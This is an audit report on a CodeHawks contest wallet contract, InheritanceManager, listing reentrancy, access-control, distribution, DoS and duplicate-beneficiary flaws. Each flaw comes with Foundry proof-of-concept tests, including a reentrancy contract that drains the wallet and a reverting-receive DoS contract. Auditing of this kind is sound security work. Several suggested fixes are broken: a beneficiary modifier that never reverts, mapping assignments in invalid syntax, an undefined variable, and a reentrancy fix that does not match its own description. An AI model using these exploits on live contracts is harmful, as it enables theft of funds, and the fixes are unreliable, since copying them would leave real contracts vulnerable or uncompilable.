2025-03-inheritable-smart-contract-wallet Audit Report

Version 1.0

Vincent71399

March 17, 2025

2025-03-inheritable-smart-contract-wallet Audit Report

Vincent71399

March 13, 2025

2025-03-inheritable-smart-contract-wallet Audit Report

Prepared by: Vincent71399 Lead Auditors:

- Vincent71399

Protocol Summary

Platform: CodeHawks

Protocol url: https://github.com/CodeHawks-Contests/2025-03-inheritable-smart-contract-wallet

Findings

High

[H-1] Reentrancy Guard not working as expected

Description: The `nonReentrant` modifier in the `InheritanceManager` contract is not functioning correctly, leaving the intended functions unprotected.

```
    modifier nonReentrant() {
        assembly {
@>          if tload(1) { revert(0, 0) }
            tstore(0, 1)
        }
            _;
        assembly {
            tstore(0, 0)
        }
    }
```

tstore modifies tSlot0, but tload checks tSlot1. This means that the reentrancy guard is not working as expected.

Impact: This could allow an attacker to re-enter the `payInheritance` function and drain the contract of funds.

Proof of Concept: add the following attacker contract and test case to simulate the scenario.

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.26;

import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {InheritanceManager} from "../../src/InheritanceManager.sol";

contract ReentrancyOwner is Ownable{
    InheritanceManager public inheritanceManager;
    bool internal reentrancyLock = false;

    constructor() Ownable(msg.sender){}

    function setInheritanceManager(address _im) public onlyOwner {
        inheritanceManager = InheritanceManager(_im);
    }

    function attack() public {
        reentrancyLock = true;
        inheritanceManager.sendETH(1 ether, address(this));
    }

    receive() external payable {
        if(reentrancyLock){
            reentrancyLock = false;
            // reentrancy attack code here
            inheritanceManager.sendETH(1 ether, address(this));
        }
    }
}
```

```
    function test_mockReentrancy() public {
        // create hack contract and pass ownership to the hack contract
        vm.startPrank(owner);
        ReentrancyOwner reentrancyOwner = new ReentrancyOwner();
        vm.stopPrank();

        // set a InheritanceManager with the hack contract as owner
        vm.prank(address(reentrancyOwner));
        InheritanceManager testIM = new InheritanceManager();
        // setup initial balance of the im contract
        vm.deal(address(testIM), 2 ether);
        assertEq(address(testIM).balance, 2 ether);

        vm.startPrank(owner);
        reentrancyOwner.setInheritanceManager(address(testIM));
        reentrancyOwner.attack(); // attack only sends 1 ether, the
           other 1 ether is transferred by the reentrancy attack
        assertEq(address(testIM).balance, 0);
        assertEq(address(reentrancyOwner).balance, 2 ether);
        vm.stopPrank();
    }
```

Recommended Mitigation: change the check tSlot to 1 in the `nonReentrant` modifier.

```
    modifier nonReentrant() {
        assembly {
-           if tload(1) { revert(0, 0) }
+           if sload(0) { revert(0, 0) }
            sstore(0, 1)
        }
        _;
        assembly {
            sstore(0, 0)
        }
    }
```

[H-2] Any user has the Possibility to become owner

Description: The `inherit` function in the `InheritanceManager` contract can be invoked by any user if there is exactly one beneficiary, resulting in the caller becoming the owner.

```
    function inherit() external {
        if (block.timestamp < getDeadline()) {
            revert InactivityPeriodNotLongEnough();
        }
        if (beneficiaries.length == 1) {
@>          owner = msg.sender;
            _setDeadline();
        } else if (beneficiaries.length > 1) {
            isInherited = true;
        } else {
            revert InvalidBeneficiaries();
        }
    }
```

Impact: This results in the contract being owned by an unintended user. then the user takes full control of the contract and can drain the contract of funds.

Proof of Concept: add the following test case in the `InheritanceManager.t.sol` file and run the test.

```
    address beneficiary1 = makeAddr("beneficiary1");
    ...
    function test_anyoneCanBecomeOwner(address someUser) public {
        assert(someUser != owner && someUser != beneficiary1);

        vm.startPrank(owner);
        im.addBeneficiery(beneficiary1); // ensure only one beneficiary
        vm.stopPrank();

        vm.warp(im.getDeadline());
        vm.prank(someUser);
        im.inherit();
        assertEq(im.getOwner(), someUser);
    }
```

Recommended Mitigation: should limit caller to beneficiaries, if only one benficiary exist, should set owner to the beneficiary.

~~~
```solidity
    modifier onlyBeneficiary() {
        uint256 i = 0;
        // @audit-medium beneficiaries.length + 1 will it cause array
           out-of-bounds, if msg.sender is not in the array or not
           inherited
        while (i < beneficiaries.length) {
            if (msg.sender == beneficiaries[i]) {
                break;
            }
            i++;
        }
        _;
    }
...
-   function inherit() external {
+   function inherit() external onlyBeneficiary {
        if (block.timestamp < getDeadline()) {
            revert InactivityPeriodNotLongEnough();
        }
        if (beneficiaries.length == 1) {
-           owner = msg.sender;
+           owner = beneficiaries[0];
            _setDeadline();
        } else if (beneficiaries.length > 1) {
            isInherited = true;
~~~

```
        } else {
            revert InvalidBeneficiaries();
        }
    }
```

[H-3] Several onlyOwner functions are not setting the deadline, which contradicts the documentation stating that `every transaction performed by the owner with this contract must reset the 90-day timer.`

Description: The `removeBeneficiary`, `createEstateNFT`, and `contractInteractions` functions in the `InheritanceManager` contract do not update the deadline, violating the documented requirement that every transaction by the owner should reset the 90-day timer. This oversight introduces a critical risk, as the owner can continue interacting with the contract, including transferring assets via contractInteractions, without resetting the inactivity timer.

Impact: By exploiting this issue, the owner could bypass the intended inactivity protection mechanism, potentially allowing the contract to execute transfers (sendETH, sendERC20) as if the owner were inactive, even when they are still actively engaging with the contract. This undermines the security model designed to prevent unauthorized asset distribution due to owner inactivity.

Proof of Concept: Add the following 2 test cases to the `InheritanceManager.t.sol` file and run the tests.

```
    function test_bypassSetDeadlineSendETH() public {
        uint256 deadlineBeforeTx = im.getDeadline();

        vm.deal(address(im), 1 ether);
        assertEq(address(im).balance, 1 ether);
        assertEq(owner.balance, 0);

        vm.prank(owner);
        im.contractInteractions(owner, "", 1 ether, false);

        assertEq(address(im).balance, 0);
        assertEq(owner.balance, 1 ether);

        assertEq(im.getDeadline(), deadlineBeforeTx);
    }

    function test_bypassSetDeadlineSendERC20() public {
        uint256 deadlineBeforeTx = im.getDeadline();

        usdc.mint(address(im), 5e18);
        assertEq(usdc.balanceOf(address(im)), 5e18);
        assertEq(usdc.balanceOf(owner), 0);

        vm.prank(owner);
        im.contractInteractions(
            address(usdc),
            abi.encodeWithSignature("transfer(address,uint256)",
                owner, 1e18), 0, false);

        assertEq(usdc.balanceOf(address(im)), 4e18);
        assertEq(usdc.balanceOf(owner), 1e18);

        assertEq(im.getDeadline(), deadlineBeforeTx);
    }
```

Recommended Mitigation: add setDeadline for these 3 functions

```
    function contractInteractions(address _target, bytes calldata
        _payload, uint256 _value, bool _storeTarget)
        external
        nonReentrant
        onlyOwner
    {
        ...
+       _setDeadline();
    }

    function createEstateNFT(string memory _description, uint256 _value
        , address _asset) external onlyOwner {
        ...
+       _setDeadline();
    }

    function removeBeneficiary(address _beneficiary) external onlyOwner
         {
        ...
+       _setDeadline();
    }
```

[H-4] Incorrect ERC20 value distributed to other beneficiaries in `InheritanceManager:buyOutEstateNFT`

Description: In `InheritanceManager:buyOutEstateNFT`, the payment made by the buyer should be evenly divided among the remaining beneficiaries. Therefore, the correct distribution formula should be `fullAmount / (beneficiaries.length - 1)` instead of `fullAmount / beneficiaries.length`. Currently, the function buyOutEstateNFT incorrectly includes the buyer in the divisor, leading to some ERC-20 tokens being left in the contract.

```
    function buyOutEstateNFT(uint256 _tokenId) external payable {
        ...
```

```
@>        IERC20(assetToPay).safeTransfer(beneficiaries[i], finalAmount / divisor);
          ...
      }
```

Impact: This issue result in other beneficiaries receiving less than the intended amount

Proof of Concept: Add the following test and run it

```
    function test_buyOutEstateWrongValueDistribution() public {
        vm.startPrank(owner);
        im.addBeneficiery(beneficiary1);
        im.addBeneficiery(beneficiary2);
        im.addBeneficiery(beneficiary3);
        im.createEstateNFT("my estate", 3e18, address(usdc));
        vm.stopPrank();

        vm.warp(im.getDeadline());
        im.inherit();

        usdc.mint(beneficiary3, 2e18); // buyer only need to pay 2/3 of the total value
        vm.startPrank(beneficiary3);
        usdc.approve(address(im), 2e18);
        im.buyOutEstateNFT(1);
        vm.stopPrank();

        assertLt(usdc.balanceOf(beneficiary1), 1e18); // other beneficiaries should receive 1e18, but they receive less
        assertLt(usdc.balanceOf(beneficiary2), 1e18);
    }
```

Recommended Mitigation: Change the divisor to `beneficiaries.length - 1` to exclude the buyer from the distribution.

```
    function buyOutEstateNFT(uint256 _tokenId) external payable {
        ...
-       IERC20(assetToPay).safeTransfer(beneficiaries[i], finalAmount / divisor);
+       IERC20(assetToPay).safeTransfer(beneficiaries[i], finalAmount / multiplier);
        ...
    }
```

[H-5] `InheritanceManager:buyOutEstateNFT` will exit without transferring the asset to the remaining beneficiaries after the buyer's index.

Description: In `InheritanceManager:buyOutEstateNFT`, it will loop through the beneficiaries array and transfer the asset to all beneficiaries except the buyer. however, when reaching the buyer index, it will break, and the asset will not be transferred to the remaining beneficiaries following the buyer's index.

```
    function buyOutEstateNFT(uint256 _tokenId) external payable {
        ...
        for (uint256 i = 0; i < beneficiaries.length; i++) {
            if (msg.sender == beneficiaries[i]) {
@>              return;
            } else {
                IERC20(assetToPay).safeTransfer(beneficiaries[i],
                    finalAmount / divisor);
            }
        }
        ...
    }
```

Impact: This issue results in the remaining beneficiaries following the buyer's index not receiving the intended asset.

Proof of Concept: Add the following test and run it

```
    function test_buyOutEstateNoValueDistributionToLatterBeneficieries
       () public {
        vm.startPrank(owner);
        im.addBeneficiery(beneficiary1);
        im.addBeneficiery(beneficiary2);
        im.addBeneficiery(beneficiary3);
        im.createEstateNFT("my estate", 3e18, address(usdc));
        vm.stopPrank();

        vm.warp(im.getDeadline());
        im.inherit();

        usdc.mint(beneficiary1, 2e18);
        vm.startPrank(beneficiary1);
        usdc.approve(address(im), 2e18);
        im.buyOutEstateNFT(1);
        vm.stopPrank();

        assertEq(usdc.balanceOf(beneficiary1), 0); // no asset
           transferred to beneficiary2 and beneficiary3
        assertEq(usdc.balanceOf(beneficiary2), 0);
    }
```

Recommended Mitigation: replace `return` with `continue` to continue the loop after the buyer's index.

```
    function buyOutEstateNFT(uint256 _tokenId) external payable {
        ...
        for (uint256 i = 0; i < beneficiaries.length; i++) {
            if (msg.sender == beneficiaries[i]) {
-               return;
+               continue;
            } else {
                IERC20(assetToPay).safeTransfer(beneficiaries[i],
                    finalAmount / divisor);
            }
        }
        ...
    }
```

[H-6] In `InheritanceManager:removeBeneficiary` removing a beneficiary leaves an address(0) in the array, which disrupts multiple ERC20 transfer functions (buyOutEstateNFT, withdrawInheritedFunds) as transfers to address(0) will revert.

Description: In `InheritanceManager:removeBeneficiary`, `delete beneficiaries[indexToRemove]` will set `beneficiaries[indexToRemove]` to address(0), but the array length will not be reduced. when other functions (buyOutEstateNFT, withdrawInheritedFunds) loop through the beneficiaries array, it will transfer assets to address(0), which will revert the transaction.

```
    function removeBeneficiary(address _beneficiary) external onlyOwner
         {
        ...
@>      delete beneficiaries[indexToRemove];
        ...
    }
```

Impact: This issue disrupts the contract's functionality, causing it to always revert if the owner removed a beneficiary before.

Proof of Concept: Add the following test and run it

```
    function test_removeBeneficiaryBreakBuyOutEstate() public {
        vm.startPrank(owner);
        im.addBeneficiery(beneficiary1);
        im.addBeneficiery(beneficiary2);
        im.addBeneficiery(otherUser);
        im.removeBeneficiary(otherUser);
        im.createEstateNFT("my estate", 2e18, address(usdc));
        vm.stopPrank();

        vm.warp(im.getDeadline());
        im.inherit();

        usdc.mint(beneficiary1, 1e18);
        vm.startPrank(beneficiary1);
        usdc.approve(address(im), 1e18);
        vm.expectRevert(abi.encodeWithSelector(
            ERC20InvalidReceiver.selector,
            address(0)
        ));
        im.buyOutEstateNFT(1); // will cause revert here
        vm.stopPrank();
    }
```

Recommended Mitigation: should swap the last element with the element to remove and then pop the last element.

```
    function removeBeneficiary(address _beneficiary) external onlyOwner
         {
        ...
-       delete beneficiaries[indexToRemove];
+       beneficiaries[indexToRemove] = beneficiaries[beneficiaries.
   length - 1];
+       beneficiaries.pop();
        ...
    }
```

[H-7] Owner can still access the fund after deadline, which is against `After the 90 days only the beneficiaries get access to the funds`

Description: The `InheritanceManager` contract allows the owner to access the funds after the deadline and after the inheritance has been triggered. This is against the core assumption that after the 90 days, only the beneficiaries should have access to the funds.

Impact: This issue allows the owner to drain the contract of funds after the deadline, even though the contract should be inherited by the beneficiaries.

Proof of Concept: Add the following test and run it

```
    function test_owner_drain_after_deadline() public {
        vm.deal(address(im), 1 ether);

        vm.startPrank(owner);
        im.addBeneficiery(beneficiary1);
        im.addBeneficiery(beneficiary2);
        im.addBeneficiery(beneficiary3);
        vm.stopPrank();

        vm.warp(im.getDeadline());
        im.inherit();

        vm.prank(owner);
        im.sendETH(1 ether, owner);

        assertEq(address(im).balance, 0);
        assertEq(owner.balance, 1 ether);
    }
```

Recommended Mitigation: restrict the owner from accessing the funds after the deadline.

```
    error NotOwnerBeforeDeadline(address);
    ...
    modifier onlyOwnerBeforeDeadLine() {
        if (msg.sender != owner || block.timestamp >= getDeadline()) {
            revert NotOwnerBeforeDeadline(msg.sender);
        }
        _;
    }
    ...
    function sendERC20(address _tokenAddress, uint256 _amount, address
        _to) external nonReentrant onlyOwnerBeforeDeadLine{
        ...
    }
    function sendETH(uint256 _amount, address _to) external
        nonReentrant onlyOwnerBeforeDeadLine{
        ...
    }
    function contractInteractions(address _target, bytes calldata
        _payload, uint256 _value, bool _storeTarget) external
        nonReentrant onlyOwnerBeforeDeadLine{
        ...
    }
    function createEstateNFT(string memory _description, uint256 _value
        , address _asset) external onlyOwnerBeforeDeadLine{
        ...
    }
    function addBeneficiery(address _beneficiary) external
        onlyOwnerBeforeDeadLine{
        ...
    }
    function removeBeneficiary(address _beneficiary) external
        onlyOwnerBeforeDeadLine{
        ...
    }
```

[H-8] In `InheritanceManager:WithdrawInheritedFunds`, there is a risk of a Denial of Service (DoS) attack if one of the beneficiaries is a contract that reverts upon receiving ETH.

Description: In `InheritanceManager:WithdrawInheritedFunds`, it will loop through the beneficiaries array and transfer the asset to all beneficiaries. If one of the beneficiaries is a contract that reverts on receiving ETH, the whole withdraw process will be reverted, all beneficiaries will not receive the ETH.

```
    function withdrawInheritedFunds() external {
        ...
        for (uint256 i = 0; i < divisor; i++) {
            address payable beneficiary = payable(beneficiaries[i]);
@>          (bool success,) = beneficiary.call{value:
    amountPerBeneficiary}("");
            require(success, "something went wrong");
        }
        ...
    }
```

Impact: This issue results in potential risks for all beneficiaries not receiving the intended asset.

Proof of Concept: Add an attacker contract with revert on receive function and the following test case to simulate the scenario.

```
    // SPDX-License-Identifier: UNLICENSED
    pragma solidity 0.8.26;

    contract DoSAttacker {
        receive() external payable {
            revert();
        }
    }
```

```
    function test_DoS_withdrawInheritedFunds() public {
        // create hack contract
        DoSAttacker attacker = new DoSAttacker();

        vm.deal(address(im), 1 ether);
        vm.startPrank(owner);
        im.addBeneficiery(beneficiary1);
        im.addBeneficiery(beneficiary2);
        im.addBeneficiery(beneficiary3);
        im.addBeneficiery(address(attacker));
        vm.stopPrank();

        vm.warp(im.getDeadline());
        im.inherit();

        vm.expectRevert("something went wrong"); // withdraw will fail
```

```
            im.withdrawInheritedFunds(address(0));
        }
```

Recommended Mitigation: Suggest redesigning the withdrawal process to allow each beneficiary to withdraw their assets individually.

Medium

[M-1] Looping through `InheritanceManager:beneficiaries` array to check whether the caller is a beneficiary is a potential denial of service (DoS) attack, incrementing gas costs for future entrants

Description: The `InheritanceManager` contract uses a loop to check whether the caller is a beneficiary in the `onlyBeneficiaryWithIsInherited` modifier. However, the longer the beneficiaries array, the more gas is consumed, which could lead to a potential denial of service (DoS) attack. Additionally, `removeBeneficiary` does not reduce the length of the beneficiaries array, increasing the risk of a Denial-of-Service (DoS) attack.

```
        modifier onlyBeneficiaryWithIsInherited() {
            uint256 i = 0;
@>          while (i < beneficiaries.length + 1) {
                if (msg.sender == beneficiaries[i] && isInherited) {
                    break;
                }
                i++;
            }
            _;
        }
        ...
        function removeBeneficiary(address _beneficiary) external onlyOwner
            {
            ...
@>          delete beneficiaries[indexToRemove];
            ...
        }
```

Impact: The gas cost of the `onlyBeneficiaryWithIsInherited` modifier increases as the number of beneficiaries grows, impact function `buyOutEstateNFT` and `appointTrustee`

Proof of Concept: Add the following test and run

```
        function test_DoS() public {
            uint256 gasCost1 = gasCostMock(0);
            uint256 gasCost2 = gasCostMock(100);
            uint256 gasCost3 = gasCostMock(200);

            assertLt(gasCost1, gasCost2);
            assertLt(gasCost2, gasCost3);

            console.log("gasCost1: %s", gasCost1);
            console.log("gasCost2: %s", gasCost2);
            console.log("gasCost3: %s", gasCost3);
        }

        function gasCostMock(uint256 loop) public returns (uint256 gasCost)
            {
            vm.startPrank(owner);
            for(uint160 i; i < loop; i++){
                // simulate by adding and removing beneficiaries to
                   increase the beneficiaries array length
                im.addBeneficiery(beneficiary1);
                im.addBeneficiery(beneficiary2);
                im.removeBeneficiary(beneficiary1);
                im.removeBeneficiary(beneficiary2);
            }
            im.addBeneficiery(beneficiary1);
            im.addBeneficiery(beneficiary2);
            vm.stopPrank();

            vm.warp(im.getDeadline());
            im.inherit();

            uint256 gasStart = gasleft();
            vm.prank(beneficiary1);
            im.appointTrustee(otherUser);
            gasCost = gasStart - gasleft();
        }
```

Recommended Mitigation: Use mapping(address->bool) to replace the array to check if the address is a beneficiary.

```
+   mapping(address => bool) public isBeneficiary;
    ...
    modifier onlyBeneficiaryWithIsInherited() {
        require(isBeneficiary(msg.sender), "Not a beneficiary");
        require(isInherited, "Not yet inherited");
        _;
    }

    function addBeneficiery(address _beneficiary) external onlyOwner {
        ...
+       isBeneficiary(_beneficiary) = true;
        _setDeadline();
    }

    function removeBeneficiary(address _beneficiary) external onlyOwner
         {
```

```
        ...
+       isBeneficiary(_beneficiary) = false;
        _setDeadline();
    }
```

[M-2] No validation to prevent duplicate beneficiaries from being added.

Description: In `InheritanceManager:addBeneficiery`, there is no check for adding duplicate beneficiaries. the same beneficiary can be added multiple times.

Impact: This could lead to confusion and potential issues when distributing assets to beneficiaries. like `buyOutEstateNFT` and `withdrawInheritedFunds` if the same beneficiary is added multiple times, if 2 times, when buying out the estate, the beneficiary only need to pay 1/2 of the total value.

Proof of Concept: Add the following test and run it

```
    function test_addDuplicateBeneficiary() public {
        vm.startPrank(owner);
        im.addBeneficiery(beneficiary1);
        im.addBeneficiery(beneficiary1);
        im.createEstateNFT("my estate", 2e18, address(usdc));
        vm.stopPrank();

        vm.warp(im.getDeadline());
        im.inherit();

        usdc.mint(beneficiary1, 1e18);

        vm.startPrank(beneficiary1);
        usdc.approve(address(im), 1e18); // buyer only need to pay 1/2
            of the total value
        im.buyOutEstateNFT(1);
        vm.stopPrank();
    }
```

Recommended Mitigation: should check if the beneficiary is already in the array before adding it. better use mapping instead of looping through the array.

```
    mapping(address => bool) public isBeneficiary;
    ...
    function addBeneficiery(address _beneficiary) external onlyOwner {
        require(!isBeneficiary(_beneficiary), "Beneficiary already
            added");
        beneficiaries.push(_beneficiary);
        isBeneficiary(_beneficiary) = true;
        _setDeadline();
    }
```

Low

[L-1] `InheritanceManager:_getBeneficiaryIndex` will return 0 if the caller is not a beneficiary, same if call by the beneficiary at index 0

Description: when the beneficiary at index 0 call `InheritanceManager:_getBeneficiaryIndex`, it will also return 0. when a non-beneficiary call `InheritanceManager:_getBeneficiaryIndex`, it will also return 0.

Impact: This could mislead a non-beneficiary into mistakenly believing they are a beneficiary.

Proof of Concept: Add following test into `InheritanceManager.t.sol` and run the test.

```
    address beneficiary1 = makeAddr("beneficiary1");
    address otherUser = makeAddr("otherUser");
    ...
    function test_getBeneficiaryIndexNonBeneficiary() public {
        vm.prank(owner);
        im.addBeneficiery(beneficiary1);
        assertEq(0, im._getBeneficiaryIndex(beneficiary1));
        // non-beneficiary
        assertEq(0, im._getBeneficiaryIndex(otherUser));
    }
```

Recommended Mitigation: Use mapping(address->bool) to replace the array to check if the address is a beneficiary.

```
+   mapping(address => bool) public isBeneficiary;
    ...
    modifier onlyBeneficiaryWithIsInherited() {
        require(isBeneficiary(msg.sender), "Not a beneficiary");
        require(isInherited, "Not yet inherited");
        _;
    }

    function addBeneficiery(address _beneficiary) external onlyOwner {
        ...
+       isBeneficiary(_beneficiary) = true;
        _setDeadline();
    }

    function removeBeneficiary(address _beneficiary) external onlyOwner
         {
        ...
+       isBeneficiary(_beneficiary) = false;
        _setDeadline();
    }
```